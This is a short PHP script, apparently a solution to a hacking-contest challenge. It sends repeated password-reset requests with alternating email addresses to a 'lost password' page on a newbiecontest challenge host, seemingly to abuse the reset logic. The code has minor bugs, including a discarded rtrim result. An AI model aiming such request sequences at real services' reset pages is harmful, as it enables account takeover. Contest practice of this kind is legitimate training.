<?php
function httpPost($url,$params){
$postData = '';
//create name value pairs seperated by &
foreach($params as $k => $v) {
$postData .= $k . '='.$v.'&';
}
rtrim($postData, '&');
$ch = curl_init($url);
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch,CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_POST, count($postData));
curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);
$output=curl_exec($ch);
curl_close($ch);
return $output;
}
$params = array("mail" => "heyyou@netc.fr");
httpPost("http://hacking.newbiecontest.org:10080/randy/index.php?page=passperdu",$params);
$params = array("mail" => "g0d@dtc.com");
httpPost("http://hacking.newbiecontest.org:10080/randy/index.php?page=passperdu",$params);
$params = array("mail" => "heyyou@netc.fr");
httpPost("http://hacking.newbiecontest.org:10080/randy/index.php?page=passperdu",$params);
?>
preferences:
59.43 ms | 402 KiB | 5 Q